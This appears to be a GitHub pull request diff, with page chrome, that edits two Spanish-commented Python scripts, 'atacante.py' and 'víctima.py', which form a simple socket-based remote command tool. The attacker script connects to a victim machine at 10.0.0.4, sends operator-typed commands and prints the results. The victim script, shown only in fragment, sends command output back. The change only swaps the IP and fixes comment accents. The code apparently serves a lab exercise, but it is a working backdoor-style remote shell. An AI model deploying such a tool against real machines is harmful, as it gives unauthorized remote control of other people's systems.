Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
16 changes: 7 additions & 9 deletions atacante.py
Original file line number Diff line number Diff line change
@@ -1,23 +1,21 @@
from socket import socket


# Definimos la dirección y puerto del servidor (Siempre de la máquina víctima)
server_address = ('192.168.6.38', 5000)
# Definimos la dirección y puerto del servidor (siempre de la máquina víctima)
# Cambia esta línea a la dirección IP de la máquina Ubuntu (víctima)
server_address = ('10.0.0.4', 5000)

# Creamos el socket cliente, ya que restablecemos la conexión a cada comando que se ejecute
client_socket = socket()
client_socket.connect(server_address)
estado = True

while estado:

# Solicitamos al usuario que introduzca un comando
comando_enviar = input("Introduce el comando que quieras enviar a la máquina víctima (o 'exit' para salir): ")


# Si el usuario introduce "exit", cerramos la conexión y salimos del bucle
if comando_enviar == 'exit':
# Le decimos al servidor que la conexion la cerramos:
# Le decimos al servidor que la conexión la cerramos:
client_socket.send(comando_enviar.encode())
# Cerramos el socket, que se volverá a abrir al inicio del bucle:
client_socket.close()
Expand All @@ -26,8 +24,8 @@
# Enviamos el comando a la máquina víctima:
client_socket.send(comando_enviar.encode())

# Esperamos a recibir la respuesta de la víctima y lo guardamos en la variable respuesta.
# Esperamos a recibir la respuesta de la víctima y la guardamos en la variable respuesta:
respuesta = client_socket.recv(4096)

# Imprimimos la respuesta;
print(respuesta.decode())
# Imprimimos la respuesta:
print(respuesta.decode())
2 changes: 1 addition & 1 deletion víctima.py
Original file line number Diff line number Diff line change
Expand Up @@ -44,4 +44,4 @@
# Enviamos la salida a la máquina atacante
client_socket.send(salida.encode())

sleep(0.1)
sleep(0.1)